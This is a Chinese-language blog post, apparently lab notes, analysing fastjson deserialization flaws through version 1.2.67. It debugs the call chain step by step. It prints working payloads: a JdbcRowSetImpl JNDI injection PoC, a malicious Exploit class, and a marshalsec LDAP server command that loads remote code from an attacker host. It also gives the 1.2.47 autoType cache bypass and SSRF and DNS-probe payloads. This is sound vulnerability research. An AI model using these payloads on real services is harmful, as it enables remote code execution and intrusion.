fastjson反序列化攻防

<=1.2.24 JNDI注入利用鏈(com.sun.rowset.JdbcRowSetImpl)

按照這張圖裏的描述:
在這裏插入圖片描述
使用JdbcRowSetImpl類作爲目標類,根據PoC中指定的屬性dataSourceNameautoCommit,到時候應該會調用setDataSourceName
PoC內容如下:

package com.cqq;

import com.alibaba.fastjson.JSON;
import com.cqq.User;

public class PoC {
    public static void main(String[] args) {
        String payload =   "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +
                "\"dataSourceName\":\"ldap://192.168.85.129:1389/Exploit\",\"autoCommit\":true}";
        JSON.parse(payload);
    }
}

當然事先得先準備好兩點:
1、待被遠程下載的Exploit類;

import java.io.IOException;
import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;

public class Exploit implements ObjectFactory {
    public Exploit() {
    }

    public Object getObjectInstance(Object var1, Name var2, Context var3, Hashtable<?, ?> var4) {
        exec("xterm");
        return null;
    }

    public static String exec(String var0) {
        try {
            Runtime.getRuntime().exec("calc.exe");
        } catch (IOException var2) {
            var2.printStackTrace();
        }

        return "";
    }

    public static void main(String[] var0) {
        exec("123");
    }
}

2、LDAP服務;
使用marshalsec生成:

java -cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.85.129:8090/#Exploit

表示在默認端口1389創建了LDAP服務,其內容通過http訪問http://192.168.85.129:8090/#Exploit這個url獲取到。

LDAP服務,和HTTP下載來的Exploit都是攻擊者可控的,在客戶端執行的。PoC是在fastjson開啓服務的主機執行的。但是本質上這裏模擬一個fastjson服務,其payload的json字符串是用戶可控的。
查看一下調用棧:

Exception in thread "main" com.alibaba.fastjson.JSONException: set property error, autoCommit
	at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:136)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:593)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922)
	at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze(Unknown Source)
	at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
	at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
	at com.alibaba.fastjson.JSON.parse(JSON.java:137)
	at com.alibaba.fastjson.JSON.parse(JSON.java:128)
	at com.cqq.PoC.main(PoC.java:10)
Caused by: java.lang.reflect.InvocationTargetException
	at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
	at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
	at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
	at java.lang.reflect.Method.invoke(Method.java:498)
	at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:96)
	... 10 more
Caused by: java.lang.NullPointerException
	at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:630)
	at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(JdbcRowSetImpl.java:4067)
	... 15 more

演示

整理的流程是:

那麼攻擊者的流程就是這樣的。攻擊者準備rmi服務和web服務,將rmi絕對路徑注入到lookup方法中,受害者JNDI接口會指向攻擊者控制rmi服務器,JNDI接口向攻擊者控制web服務器遠程加載惡意代碼,執行構造函數形成RCE。

來源:http://xxlegend.com/2017/12/06/%E5%9F%BA%E4%BA%8EJdbcRowSetImpl%E7%9A%84Fastjson%20RCE%20PoC%E6%9E%84%E9%80%A0%E4%B8%8E%E5%88%86%E6%9E%90/

在攻擊者可控的客戶端準備的條件:
1、待被遠程下載的Exploit類
在這裏插入圖片描述
2、LDAP服務;
在這裏插入圖片描述
最終,在服務端執行PoC的Demo:
在這裏插入圖片描述
讓我們去目標類下斷點,進行調試。
不知道是哪裏觸發的,索性在兩個方法setDataSourceNamesetAutoCommit都下斷點:
調試發現,首先是設置DataSourceName,

C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#setDataSourceName
在這裏插入圖片描述
繼續跟其父類javax.sql.rowset.BaseRowSet的setDataSourceName方法:
在這裏插入圖片描述
這個方法的註釋如下:

/**
* Sets the DataSource name property for this RowSet
* object to the given logical name and sets this RowSet object’s
* Url property to null. The name must have been bound to a
* DataSource object in a JNDI naming service so that an
* application can do a lookup using that name to retrieve the
* DataSource object bound to it. The DataSource
* object can then be used to establish a connection to the data source it
* represents.
*


* Users should set either the Url property or the dataSourceName property.
* If both properties are set, the driver will use the property set most recently.
*
* @param name a String object with the name that can be supplied
* to a naming service based on JNDI technology to retrieve the
* DataSource object that can be used to get a connection;
* may be null but must not be an empty string
* @throws SQLException if an empty string is provided as the DataSource
* name
* @see #getDataSourceName
*/

然後是設置autoCommit爲true:
在com/alibaba/fastjson/parser/deserializer/FieldDeserializer#setValue

在這裏插入圖片描述
通過反射調用了com.sun.rowset.JdbcRowSetImpl.setAutoCommit(boolean)方法,並傳入參數true
然後跟進這個setAutoCommit方法:
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#setAutoCommit
在這裏插入圖片描述
可以看到這個類是jdk自帶的。
這裏從業務邏輯上看應該是設置SQL執行的自動提交?但是需要先拿到一個連接(connection),若沒有連接,則需要先建立一個連接,即

this.conn = this.connect();

繼續跟進:
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\rowset\JdbcRowSetImpl#connect

看這個條件判斷:

else if (this.getDataSourceName() != null)

因爲我們之前已經通過setDataSourceName設置了dataSourceName的值,所以這裏可以進入這個條件分支:
在這裏插入圖片描述
關鍵都在這個lookup裏面了。
然後就是對這個url:

ldap://192.168.85.129:1389/Exploit

一步一步的lookup了。接下來說一下lookup的細節,
比如
C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\jndi\url\ldap\ldapURLContext#lookup
裏要判斷這個url裏有沒有?,即是否有查詢的部分:
這裏提供的url是沒有查詢部分的,所以繼續調用其父類的lookup:
在這裏插入圖片描述
跟進C:\Program Files\Java\jdk1.8.0_172\jre\lib\rt.jar!\com\sun\jndi\toolkit\url\GenericURLContext#lookup
在這裏插入圖片描述
這裏通過var2.getRemainingName()得到/後面的部分,即向控制的服務器上獲取Exploit.class文件。

最終一路lookup,到了這裏:
javax/naming/spi/DirectoryManager.getObjectInstance()

在這裏插入圖片描述
然後就進入Exploit#getObjectInstance
在這裏插入圖片描述
在這裏插入圖片描述
完整調用棧如下:

exec:21, Exploit
getObjectInstance:12, Exploit
getObjectInstance:194, DirectoryManager (javax.naming.spi)
c_lookup:1085, LdapCtx (com.sun.jndi.ldap)
p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
lookup:417, InitialContext (javax.naming)
connect:624, JdbcRowSetImpl (com.sun.rowset)
setAutoCommit:4067, JdbcRowSetImpl (com.sun.rowset)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
setValue:96, FieldDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:593, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseRest:922, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:137, JSON (com.alibaba.fastjson)
parse:128, JSON (com.alibaba.fastjson)
main:10, PoC (com.cqq)

tips:
雖然大多數情況是把Exploit代碼和PoC放到同一臺主機上,這裏我放到了網絡上另外一臺,但是這樣做的情況是,如果不在IDEA中設置Exploit的源碼或者class,IDEA是跟不到Exploit中的,所以需要手動設置一下。

fastjson漏洞檢測

fastjson漏洞的白盒檢測,可以查看pom.xml文件中fastjson的版本,判斷是否低於某個版本
fastjson漏洞的黑盒檢測,在低版本下(默認開啓@type功能),只需要構造一個以往被利用的poc即可。比如可以通過這個ssrf:
在這裏插入圖片描述
poc是:

{"@type":"javax.swing.JEditorPane","page":"http://127.0.0.1:1389?a=1&b=22222"}

可以去javax/swing/JEditorPane.java#setPage下斷點,沒跟到具體發起請求的點,但是可以猜到應該是根據這個url去發起請求了。
在這裏插入圖片描述
參考:

  • https://github.com/threedr3am/learnjavabug/blob/master/fastjson/src/main/java/com/threedr3am/bug/fastjson/ssrf/JREJeditorPaneSSRFPoc.java

具體參考:https://github.com/alibaba/fastjson/blob/f164d8519ff061baac6f8d58a5a1b88c2afab00e/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
在com/alibaba/fastjson/parser/ParserConfig類中有一個變量AUTO_SUPPORT,這個值默認是false。
在這裏插入圖片描述
再參考如何打開autoTypeSupport功能(可以設置JVM啓動參數,也可以在代碼中手動打開):
在這裏插入圖片描述
參考:https://github.com/alibaba/fastjson/wiki/enable_autotype

1.2.25的全局配置:
https://github.com/alibaba/fastjson/blob/1.2.25/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java

在這裏插入圖片描述
1.2.24的全局配置:
https://github.com/alibaba/fastjson/blob/1.2.24/src/main/java/com/alibaba/fastjson/parser/ParserConfig.java
沒有跟autotype相關的東西。
在這裏插入圖片描述
所以<= 1.2.24版本默認開啓了autotype,是存在嚴重漏洞的;
而1.2.25及之後的版本,需要判斷這個開關是否被手動打開,具體代碼爲:

ParserConfig.global.setAutoTypeSupport(true);
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);   //跟上面一樣的效果,同樣是拿到ParserConfig類的靜態成員變量:一個ParserConfig>對象

在這裏插入圖片描述

在1.2.25版本下,不手動打開這個開關,再使用之前的payload,結果出現異常:
在這裏插入圖片描述
響應的包裏也有:
在這裏插入圖片描述

具體的檢查是否支持AutoType的代碼在:

C:\Users\Administrator.m2\repository\com\alibaba\fastjson\1.2.25\fastjson-1.2.25.jar!\com\alibaba\fastjson\parser\DefaultJSONParser.class#parseObject(Map object, Object fieldName)

在這裏插入圖片描述
(PS:到時候在這裏下斷點就可以了,不用一直parseObject)
可以看到這裏是true,所以應該是支持的。
在這裏插入圖片描述
然後進行黑白名單的判斷:
在這裏插入圖片描述
AcceptList爲空:
在這裏插入圖片描述
可以看到有這些DenyList:
在這裏插入圖片描述

比如我們這次的payload是com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

當循環到com.sun這個開頭的類名時 ,就拋出了JSONException:autoType is not support.
在這裏插入圖片描述

在這裏插入圖片描述

用同樣的環境測試這個Gadget:javax.swing.JEditorPane,發現是可以SSRF的,所以這裏autoType是支持的,只是匹配到了黑名單。而我們的這個Gadget:javax.swing.JEditorPane不在黑名單裏,所以可以利用成功。
在這裏插入圖片描述

<= 1.2.47版本的autoType被繞過

影響範圍

1.2.25 <= fastjson <= 1.2.47
根據這篇文章說是這樣的:

1.2.33 - 1.2.47 無條件利用
1.2.25 - 1.2.32 未開啓 AutoType 可以利用,開啓反而不能 (默認關閉)
1.2.24 無條件利用

因爲

cache 機制是從 1.2.25 添加的

漏洞復現

原理參考:
https://www.kingkk.com/2019/07/Fastjson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-1-2-24-1-2-48/
據說是可以通過TypeUtils這類的緩存
在這裏插入圖片描述
在這裏插入圖片描述
參考:https://rmb122.com/2020/02/01/fastjson-RCE-%E5%88%86%E6%9E%90/
感謝java-sec-code項目,編輯pom.xml,將fastjson版本修改爲1.2.47之後重新編譯,使用這個payload測試:

{
    "111": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "222": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://192.168.170.1:1389/Exploit", 
        "autoCommit": true
    }
}

如果192.168.170.1:1389收到TCP連接了,則證明存在漏洞。
在這裏插入圖片描述
這個poc先通過這個json:

"a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 

com.sun.rowset.JdbcRowSetImpl放到那個mapping(緩存)裏,
在這裏插入圖片描述

在這裏插入圖片描述
第一次到

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache)

的調用棧:

loadClass:1210, TypeUtils (com.alibaba.fastjson.util)
loadClass:1206, TypeUtils (com.alibaba.fastjson.util)
deserialze:335, MiscCodec (com.alibaba.fastjson.serializer)
parseObject:384, DefaultJSONParser (com.alibaba.fastjson.parser)
parseObject:544, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1356, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1322, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:162, JSON (com.alibaba.fastjson)
parse:131, JSON (com.alibaba.fastjson)
parseObject:223, JSON (com.alibaba.fastjson)
Deserialize:25, Fastjson (org.joychou.controller)

mappings原本是98,
在這裏插入圖片描述
放進去之後變成了99,
在這裏插入圖片描述

第一個關鍵節點是:
com/alibaba/fastjson/parser/DefaultJSONParser#parseObject(final Map object, Object fieldName)

clazz = config.checkAutoType(typeName, null, lexer.getFeatures());

這裏的typeName是java.lang.Class
在這裏插入圖片描述
這裏的typeName是我們傳進去的@type設置的值:java.lang.Class

可以看到有很多關卡都會有檢查,

一旦匹配到,則拋出異常:

throw new JSONException("autoType is not support. " + typeName);

不過我們的這個payload沒有觸發異常,到了下一個關鍵點:
在這裏插入圖片描述

跟進到:com/alibaba/fastjson/util/TypeUtils#getClassFromMapping(String className)

在這裏插入圖片描述
第一次使用111的時候,沒從getClassFromMapping(String className)拿到clazz,但是從下面的

clazz = deserializers.findClass(typeName);

拿到了clazz,
在這裏插入圖片描述
com/alibaba/fastjson/parser/DefaultJSONParser#
嘗試對提供對java.lang.Class進行反序列化:
在這裏插入圖片描述

在這裏插入圖片描述

在這裏插入圖片描述
判斷這個clazz是否爲日期、IP地址、語言、URI、URL、UUID、File、時區等類型,直到判斷這個是一個java.lang.Class類型,則使用

TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());

在這裏插入圖片描述
在這裏插入圖片描述
在這裏插入圖片描述
(注:這個緩存很強勁,質押JVM啓動這個fastjson,一旦有一次請求把這個類加入到緩存之後,就會一直保持那個類,也就是從原來到98到99個mapping)

com/alibaba/fastjson/parser/DefaultJSONParser#parseObject(final Map object, Object fieldName)
=>
L316: clazz = config.checkAutoType(typeName, null, lexer.getFeatures());    //返回到clazz爲payload中指定的java.lang.Class
L384: Object obj = deserializer.deserialze(this, clazz, fieldName);     //clazz: java.lang.Class, filedName: 111
    com/alibaba/fastjson/serializer/MiscCodec#deserialze(DefaultJSONParser parser, Type clazz, Object fieldName)
    =>
    L237: objVal = parser.parse();    // 拿到objVal的值爲: "com.sun.rowset.JdbcRowSetImpl"
    L335: return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());  // strVal爲com.sun.rowset.JdbcRowSetImpl
        com/alibaba/fastjson/util/TypeUtils#loadClass(String className, ClassLoader classLoader, boolean cache)
        =>    // 不以'['開頭,不以"L"開頭且";"結尾
        L1240: clazz = contextClassLoader.loadClass(className);    //通過TomcatEmbeddedWebappClassLoader加載com.sun.rowset.JdbcRowSetImpl類,得到clazz爲com.sun.rowset.JdbcRowSetImpl.class
        L1242: mappings.put(className, clazz);    // 加入到mappings緩存中
        返回com.sun.rowset.JdbcRowSetImpl.class
// 繼續解析222
由於之前mappings已經被添加了這個類,現在可以直接從mappings中取得這個類了。

其實即便第一次發:

{
    "111": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }
}

第二次發:

{
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://192.168.170.1:1389/Exploit", 
        "autoCommit": true
}

在這裏插入圖片描述
也是可以的。只要啓動基於fastjson的WEB服務沒有重啓就行。

不過如果沒有鋪墊111的這個請求,正常情況下是:
在這裏插入圖片描述

<= 1.2.67的繞過autotype進行域名解析

參考:

試了幾種格式:涉及到幾個類:java.net.Inet4Addressjava.net.Inet6Addressjava.net.URLjava.net.InetSocketAddress

{"@type":"java.net.Inet4Address","val":"e3ifk6b20aw3bj7i539idx5vum0co1.burpcollaborator.net"}
{{"@type":"java.net.URL","val":"http://fastjson.433f419eb1a8717d6a35.d.zhack.ca/ssrf"}:"x"}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"fastjson2.433f419eb1a8717d6a35.d.zhack.ca"}}

Demo

在這裏插入圖片描述

更詳細的fastjson利用歷史參考:

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章